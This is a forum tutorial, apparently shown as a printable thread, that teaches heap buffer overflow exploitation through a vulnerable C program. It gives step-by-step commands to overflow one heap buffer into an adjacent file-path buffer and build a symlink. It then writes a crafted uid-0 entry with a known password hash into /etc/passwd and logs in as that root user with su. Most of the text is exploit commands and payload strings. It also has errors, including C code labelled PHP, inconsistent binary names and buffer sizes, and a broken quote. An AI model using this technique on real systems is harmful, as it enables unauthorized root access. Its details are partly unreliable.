Antagonism | Heap Overflow - Printable Version

This tutorial assumes that you are not a beginner in all of this. If you are, refer to my previous threads and study them before proceeding.

Stack buffer overflows have truly gotten so much attention. They've gotten very famous, and with a good reason, but that is also why that vulnerability is often detected. Today we will be looking at one that is a little less known (compared to stack buffer overflows) but just as deadly and more often overlooked. Heap Buffer Overflow.

So let's begin with heap. Heap is memory that is used for dynamic allocation. In C, we will be using malloc() and calloc() to do so. Today, we will be exploiting a program that allocates two buffers in heap next to each other. By overwriting the boundaries of the first one, we will set foot in the second one.

PHP Code 


<?php 
#include <stdio.h>

int main(int argc, char *argv[]) {
FILE *heap;
char *input=malloc(30);
char *out=malloc(30);
strcpy(out, "/tmp/VULN");
strcpy(input, argv[1]);

printf("Input is: %s\n", input);
printf("Writing to: %s\n", out);

heap=fopen(out, "a");
fprintf(heap, "%s\n", input);
fclose(heap);
return 0;
} 

Alright, let's take a look at what this does. First we create two variables and set their boundaries. First variable is input and via strcpy() we fill it with user input. Second variable is out and it is assigned to /tmp/VULN which is just output file to which we will write our input. Then /tmp/VULN is opened for appending and user input is written to it. So basically, all this program does is writes user input to a file.

PHP Code 


<?php 
printf("Input is: %s\n", input);
printf("Writing to: %s\n", out); 

This part is here only for debugging purposes. It tells us what the content on input and out is.

Alright, so let's begin by compiling.

PHP Code 


<?php 
gcc -o heap heap.c 

Run it supplying anything as input.

PHP Code 


<?php 
./heap Dongs 

We've successfully written "Dongs" to /tmp/VULN. Now, let's supply it with a greater value.

PHP Code 


<?php 
./heap `python -c 'print "A"*50'` 

You can see that we've written over the first variable into the second one, and that our output no longer is /tmp/VULN but a file named "AA". It took us 40 A's to fill the first variable. But let's cat the file to see how many A's there are.

[Image: bleaVfm.png]

PHP Code 


<?php 
cat AA 

We can see that all 50 A's got stored. Why is that? Because the whole input is the first variable. We've overflown it's boundaries.

So, by the looks of it, at 40 A's we get an overflow. Let's try:

PHP Code 


<?php 
./vuln `python -c "print "A"*40'` 

A segmentation fault. That's weird. It should be able to hold all 40 bytes, but we get a segmentation fault. Why is that? Because at the end of our input a null byte is added which acts as a line terminator. Meaning that with 39 bytes, the program should function normally.

[Image: gi5JvpD.png]

That's all pretty nice, but we want a shell. If the program had suid, we could manipulate it to write to anything! Therefore, in theory, we should be able to write to /etc/shadow or /etc/passwd to create a new root account.

As easy as this sounds in theory, it's not so nice in practice. As everything supplied will be written to a file of our choosing including it's path. And these files don't like mistakes in them, so we have to be careful. Let's go one step at a time. Let's first try to write something to a custom file.

PHP Code 


<?php 
./vuln `python -c 'print "he"*20+"/tmp/lol"'` 

(I've switched to another user)

[Image: klUpDmp.png]

Alright, we've successfully broken the variable into the correct place. Now let's look at the what we have written.

PHP Code 


<?php 
cat /tmp/lol 

The path at the very end (/tmp/lol) is also inside it. This is not acceptable when writing to /etc/shadow or /etc/passwd. Meaning that we have to somehow refer to both something that would be acceptable in it, and to the output file as well. Sounds impossible? Links.

By creating a symbolic link to /bin/bash in directory /tmp/etc with name passwd we can pull it off. As the format of /etc/passwd says that the last part of it contains absolute path to the shell.

Alright, we can write to /etc/passwd, but if we make an account without a password, it would just be locked. And passwords are stored in /etc/shadow.. Right?

It's :x: in /etc/passwd that says that encrypted passwords are stored in shadow. If instead of x, we put our encrypted password, it will work just fine.

So let's begin with this.
Also, keep in mind that the length of the input must be precise! You can modify the length by messing with account username or with path to the shell.

PHP Code 


<?php 
cd /tmp
mkdir lel
cd lel
mkdir etc
cd etc
ln -s /bin/bash passwd 

Alright, now let's follow the format of /etc/passwd to craft our string:

PHP Code 


<?php 
divine:2PYyGlrrmNx5.:0:0::/root:/tmp/lel/etc/passwd 

Username is divine, password is 3 and path to shell is /tmp/lel/etc/passwd (that points to /bin/bash).

Now, notice the length. 40 bytes (which is exactly how much we need) end exactly before /etc/passwd begins, meaning that this whole strings gets written to it!

PHP Code 


<?php 
./heap divine:2PYyGlrrmNx5.:0:0::/root:/tmp/lel/etc/passwd 

Very good. Now let's take a look at /etc/passwd

PHP Code 


<?php 
cat /etc/passwd 

We've written to it successfully.
Alright, let's su to our newly created user.

PHP Code 


<?php 
su divine
(password is "3") 

That's it for today. I'll be talking more about heap overflows in future. Tutorial dedicated to Dyme who has had his account opened and then closed the next day. While you're at it, read the Legend of Dyme.